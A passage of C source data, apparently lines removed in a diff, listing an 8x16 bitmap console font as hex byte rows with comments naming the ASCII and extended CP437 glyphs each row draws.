0x00,0x00,0x00,0x00,0x10,0x38,0x38,0x7c,0x7c,0xfe,0xfe,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0xfe,0xfe,0x7c,0x7c,0x38,0x38,0x10,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/*!*/ 0x00,0x00,0x18,0x3c,0x3c,0x3c,0x18,0x18,0x18,0x00,0x18,0x18,0x00,0x00,0x00,0x00, -/*"*/ 0x00,0x66,0x66,0x66,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/*#*/ 0x00,0x00,0x00,0x6c,0x6c,0xfe,0x6c,0x6c,0x6c,0xfe,0x6c,0x6c,0x00,0x00,0x00,0x00, -/*$*/ 0x18,0x18,0x7c,0xc6,0xc2,0xc0,0x7c,0x06,0x06,0x86,0xc6,0x7c,0x18,0x18,0x00,0x00, -/*%*/ 0x00,0x00,0x00,0x00,0xc2,0xc6,0x0c,0x18,0x30,0x60,0xc6,0x86,0x00,0x00,0x00,0x00, -/*&*/ 0x00,0x00,0x38,0x6c,0x6c,0x38,0x76,0xdc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/*'*/ 0x00,0x30,0x30,0x30,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/*(*/ 0x00,0x00,0x0c,0x18,0x30,0x30,0x30,0x30,0x30,0x30,0x18,0x0c,0x00,0x00,0x00,0x00, -/*)*/ 0x00,0x00,0x30,0x18,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x18,0x30,0x00,0x00,0x00,0x00, -/***/ 0x00,0x00,0x00,0x00,0x00,0x66,0x3c,0xff,0x3c,0x66,0x00,0x00,0x00,0x00,0x00,0x00, -/*+*/ 0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x7e,0x18,0x18,0x00,0x00,0x00,0x00,0x00,0x00, -/*,*/ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x18,0x30,0x00,0x00,0x00, -/*-*/ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/*.*/ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x02,0x06,0x0c,0x18,0x30,0x60,0xc0,0x80,0x00,0x00,0x00,0x00, -/*0*/ 0x00,0x00,0x7c,0xc6,0xc6,0xce,0xde,0xf6,0xe6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*1*/ 0x00,0x00,0x18,0x38,0x78,0x18,0x18,0x18,0x18,0x18,0x18,0x7e,0x00,0x00,0x00,0x00, -/*2*/ 0x00,0x00,0x7c,0xc6,0x06,0x0c,0x18,0x30,0x60,0xc0,0xc6,0xfe,0x00,0x00,0x00,0x00, -/*3*/ 0x00,0x00,0x7c,0xc6,0x06,0x06,0x3c,0x06,0x06,0x06,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*4*/ 0x00,0x00,0x0c,0x1c,0x3c,0x6c,0xcc,0xfe,0x0c,0x0c,0x0c,0x1e,0x00,0x00,0x00,0x00, -/*5*/ 0x00,0x00,0xfe,0xc0,0xc0,0xc0,0xfc,0x06,0x06,0x06,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*6*/ 0x00,0x00,0x38,0x60,0xc0,0xc0,0xfc,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*7*/ 0x00,0x00,0xfe,0xc6,0x06,0x06,0x0c,0x18,0x30,0x30,0x30,0x30,0x00,0x00,0x00,0x00, -/*8*/ 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0x7c,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*9*/ 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0x7e,0x06,0x06,0x06,0x0c,0x78,0x00,0x00,0x00,0x00, -/*:*/ 0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00, -/*;*/ 0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x30,0x00,0x00,0x00,0x00, -/*<*/ 0x00,0x00,0x00,0x06,0x0c,0x18,0x30,0x60,0x30,0x18,0x0c,0x06,0x00,0x00,0x00,0x00, -/*=*/ 0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/*>*/ 0x00,0x00,0x00,0x60,0x30,0x18,0x0c,0x06,0x0c,0x18,0x30,0x60,0x00,0x00,0x00,0x00, -/*?*/ 0x00,0x00,0x7c,0xc6,0xc6,0x0c,0x18,0x18,0x18,0x00,0x18,0x18,0x00,0x00,0x00,0x00, -/*@*/ 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xde,0xde,0xde,0xdc,0xc0,0x7c,0x00,0x00,0x00,0x00, -/*A*/ 0x00,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, -/*B*/ 0x00,0x00,0xfc,0x66,0x66,0x66,0x7c,0x66,0x66,0x66,0x66,0xfc,0x00,0x00,0x00,0x00, -/*C*/ 0x00,0x00,0x3c,0x66,0xc2,0xc0,0xc0,0xc0,0xc0,0xc2,0x66,0x3c,0x00,0x00,0x00,0x00, -/*D*/ 0x00,0x00,0xf8,0x6c,0x66,0x66,0x66,0x66,0x66,0x66,0x6c,0xf8,0x00,0x00,0x00,0x00, -/*E*/ 0x00,0x00,0xfe,0x66,0x62,0x68,0x78,0x68,0x60,0x62,0x66,0xfe,0x00,0x00,0x00,0x00, -/*F*/ 0x00,0x00,0xfe,0x66,0x62,0x68,0x78,0x68,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, -/*G*/ 0x00,0x00,0x3c,0x66,0xc2,0xc0,0xc0,0xde,0xc6,0xc6,0x66,0x3a,0x00,0x00,0x00,0x00, -/*H*/ 0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, -/*I*/ 0x00,0x00,0x3c,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/*J*/ 0x00,0x00,0x1e,0x0c,0x0c,0x0c,0x0c,0x0c,0xcc,0xcc,0xcc,0x78,0x00,0x00,0x00,0x00, -/*K*/ 0x00,0x00,0xe6,0x66,0x66,0x6c,0x78,0x78,0x6c,0x66,0x66,0xe6,0x00,0x00,0x00,0x00, -/*L*/ 0x00,0x00,0xf0,0x60,0x60,0x60,0x60,0x60,0x60,0x62,0x66,0xfe,0x00,0x00,0x00,0x00, -/*M*/ 0x00,0x00,0xc3,0xe7,0xff,0xff,0xdb,0xc3,0xc3,0xc3,0xc3,0xc3,0x00,0x00,0x00,0x00, -/*N*/ 0x00,0x00,0xc6,0xe6,0xf6,0xfe,0xde,0xce,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, -/*O*/ 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*P*/ 0x00,0x00,0xfc,0x66,0x66,0x66,0x7c,0x60,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, -/*Q*/ 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xd6,0xde,0x7c,0x0c,0x0e,0x00,0x00, -/*R*/ 0x00,0x00,0xfc,0x66,0x66,0x66,0x7c,0x6c,0x66,0x66,0x66,0xe6,0x00,0x00,0x00,0x00, -/*S*/ 0x00,0x00,0x7c,0xc6,0xc6,0x60,0x38,0x0c,0x06,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*T*/ 0x00,0x00,0xff,0xdb,0x99,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/*U*/ 0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*V*/ 0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0x66,0x3c,0x18,0x00,0x00,0x00,0x00, -/*W*/ 0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xc3,0xdb,0xdb,0xff,0x66,0x66,0x00,0x00,0x00,0x00, -/*X*/ 0x00,0x00,0xc3,0xc3,0x66,0x3c,0x18,0x18,0x3c,0x66,0xc3,0xc3,0x00,0x00,0x00,0x00, -/*Y*/ 0x00,0x00,0xc3,0xc3,0xc3,0x66,0x3c,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/*Z*/ 0x00,0x00,0xff,0xc3,0x86,0x0c,0x18,0x30,0x60,0xc1,0xc3,0xff,0x00,0x00,0x00,0x00, -/*[*/ 0x00,0x00,0x3c,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x3c,0x00,0x00,0x00,0x00, -/*\*/ 0x00,0x00,0x00,0x80,0xc0,0xe0,0x70,0x38,0x1c,0x0e,0x06,0x02,0x00,0x00,0x00,0x00, -/*]*/ 0x00,0x00,0x3c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x3c,0x00,0x00,0x00,0x00, -/*^*/ 0x10,0x38,0x6c,0xc6,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/*_*/ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00, -/*`*/ 0x30,0x30,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/*a*/ 0x00,0x00,0x00,0x00,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/*b*/ 0x00,0x00,0xe0,0x60,0x60,0x78,0x6c,0x66,0x66,0x66,0x66,0x7c,0x00,0x00,0x00,0x00, -/*c*/ 0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0xc0,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*d*/ 0x00,0x00,0x1c,0x0c,0x0c,0x3c,0x6c,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/*e*/ 0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*f*/ 0x00,0x00,0x38,0x6c,0x64,0x60,0xf0,0x60,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, -/*g*/ 0x00,0x00,0x00,0x00,0x00,0x76,0xcc,0xcc,0xcc,0xcc,0xcc,0x7c,0x0c,0xcc,0x78,0x00, -/*h*/ 0x00,0x00,0xe0,0x60,0x60,0x6c,0x76,0x66,0x66,0x66,0x66,0xe6,0x00,0x00,0x00,0x00, -/*i*/ 0x00,0x00,0x18,0x18,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/*j*/ 0x00,0x00,0x06,0x06,0x00,0x0e,0x06,0x06,0x06,0x06,0x06,0x06,0x66,0x66,0x3c,0x00, -/*k*/ 0x00,0x00,0xe0,0x60,0x60,0x66,0x6c,0x78,0x78,0x6c,0x66,0xe6,0x00,0x00,0x00,0x00, -/*l*/ 0x00,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/*m*/ 0x00,0x00,0x00,0x00,0x00,0xe6,0xff,0xdb,0xdb,0xdb,0xdb,0xdb,0x00,0x00,0x00,0x00, -/*n*/ 0x00,0x00,0x00,0x00,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x00,0x00,0x00, -/*o*/ 0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*p*/ 0x00,0x00,0x00,0x00,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x7c,0x60,0x60,0xf0,0x00, -/*q*/ 0x00,0x00,0x00,0x00,0x00,0x76,0xcc,0xcc,0xcc,0xcc,0xcc,0x7c,0x0c,0x0c,0x1e,0x00, -/*r*/ 0x00,0x00,0x00,0x00,0x00,0xdc,0x76,0x66,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, -/*s*/ 0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0x60,0x38,0x0c,0xc6,0x7c,0x00,0x00,0x00,0x00, -/*t*/ 0x00,0x00,0x10,0x30,0x30,0xfc,0x30,0x30,0x30,0x30,0x36,0x1c,0x00,0x00,0x00,0x00, -/*u*/ 0x00,0x00,0x00,0x00,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/*v*/ 0x00,0x00,0x00,0x00,0x00,0xc3,0xc3,0xc3,0xc3,0x66,0x3c,0x18,0x00,0x00,0x00,0x00, -/*w*/ 0x00,0x00,0x00,0x00,0x00,0xc3,0xc3,0xc3,0xdb,0xdb,0xff,0x66,0x00,0x00,0x00,0x00, -/*x*/ 0x00,0x00,0x00,0x00,0x00,0xc3,0x66,0x3c,0x18,0x3c,0x66,0xc3,0x00,0x00,0x00,0x00, -/*y*/ 0x00,0x00,0x00,0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7e,0x06,0x0c,0xf8,0x00, -/*z*/ 0x00,0x00,0x00,0x00,0x00,0xfe,0xcc,0x18,0x30,0x60,0xc6,0xfe,0x00,0x00,0x00,0x00, -/*{*/ 0x00,0x00,0x0e,0x18,0x18,0x18,0x70,0x18,0x18,0x18,0x18,0x0e,0x00,0x00,0x00,0x00, -/*|*/ 0x00,0x00,0x18,0x18,0x18,0x18,0x00,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, -/*}*/ 0x00,0x00,0x70,0x18,0x18,0x18,0x0e,0x18,0x18,0x18,0x18,0x70,0x00,0x00,0x00,0x00, -/*~*/ 0x00,0x00,0x76,0xdc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xc6,0xfe,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x3c,0x66,0xc2,0xc0,0xc0,0xc0,0xc2,0x66,0x3c,0x0c,0x06,0x7c,0x00,0x00, -/* */ 0x00,0x00,0xcc,0x00,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x0c,0x18,0x30,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x10,0x38,0x6c,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0xcc,0x00,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x60,0x30,0x18,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x38,0x6c,0x38,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x3c,0x66,0x60,0x60,0x66,0x3c,0x0c,0x06,0x3c,0x00,0x00,0x00, -/* */ 0x00,0x10,0x38,0x6c,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0xc6,0x00,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x60,0x30,0x18,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x66,0x00,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x18,0x3c,0x66,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x60,0x30,0x18,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/* */ 0x00,0xc6,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, -/* */ 0x38,0x6c,0x38,0x00,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, -/* */ 0x18,0x30,0x60,0x00,0xfe,0x66,0x60,0x7c,0x60,0x60,0x66,0xfe,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x6e,0x3b,0x1b,0x7e,0xd8,0xdc,0x77,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x3e,0x6c,0xcc,0xcc,0xfe,0xcc,0xcc,0xcc,0xcc,0xce,0x00,0x00,0x00,0x00, -/* */ 0x00,0x10,0x38,0x6c,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0xc6,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x60,0x30,0x18,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x30,0x78,0xcc,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x60,0x30,0x18,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0xc6,0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7e,0x06,0x0c,0x78,0x00, -/* */ 0x00,0xc6,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0xc6,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x18,0x18,0x7e,0xc3,0xc0,0xc0,0xc0,0xc3,0x7e,0x18,0x18,0x00,0x00,0x00,0x00, -/* */ 0x00,0x38,0x6c,0x64,0x60,0xf0,0x60,0x60,0x60,0x60,0xe6,0xfc,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0xc3,0x66,0x3c,0x18,0xff,0x18,0xff,0x18,0x18,0x18,0x00,0x00,0x00,0x00, -/* */ 0x00,0xfc,0x66,0x66,0x7c,0x62,0x66,0x6f,0x66,0x66,0x66,0xf3,0x00,0x00,0x00,0x00, -/* */ 0x00,0x0e,0x1b,0x18,0x18,0x18,0x7e,0x18,0x18,0x18,0x18,0x18,0xd8,0x70,0x00,0x00, -/* */ 0x00,0x18,0x30,0x60,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x0c,0x18,0x30,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x18,0x30,0x60,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x18,0x30,0x60,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x76,0xdc,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x00,0x00,0x00, -/* */ 0x76,0xdc,0x00,0xc6,0xe6,0xf6,0xfe,0xde,0xce,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, -/* */ 0x00,0x3c,0x6c,0x6c,0x3e,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x38,0x6c,0x6c,0x38,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x30,0x30,0x00,0x30,0x30,0x60,0xc0,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xc0,0xc0,0xc0,0xc0,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0x06,0x06,0x06,0x06,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0xc0,0xc0,0xc2,0xc6,0xcc,0x18,0x30,0x60,0xce,0x9b,0x06,0x0c,0x1f,0x00,0x00, -/* */ 0x00,0xc0,0xc0,0xc2,0xc6,0xcc,0x18,0x30,0x66,0xce,0x96,0x3e,0x06,0x06,0x00,0x00, -/* */ 0x00,0x00,0x18,0x18,0x00,0x18,0x18,0x18,0x3c,0x3c,0x3c,0x18,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x36,0x6c,0xd8,0x6c,0x36,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0xd8,0x6c,0x36,0x6c,0xd8,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44, -/* */ 0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa, -/* */ 0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77, -/* */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x00,0x00,0x00,0x00,0x00,0xf8,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x36,0x36,0x36,0x36,0x36,0xf6,0x06,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x00,0x00,0x00,0x00,0x00,0xfe,0x06,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x36,0x36,0x36,0x36,0x36,0xf6,0x06,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x3f,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x18,0x18,0x18,0x18,0x18,0xff,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x1f,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* */ 0x18,0x18,0x18,0x18,0x18,0xff,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, -/* */ 0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0, -/* */ 0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f, -/* */ 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x76,0xdc,0xd8,0xd8,0xd8,0xdc,0x76,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x78,0xcc,0xcc,0xcc,0xd8,0xcc,0xc6,0xc6,0xc6,0xcc,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0xfe,0xc6,0xc6,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0xfe,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0xfe,0xc6,0x60,0x30,0x18,0x30,0x60,0xc6,0xfe,0x00,0x00,0x00,0x00, -/* */ 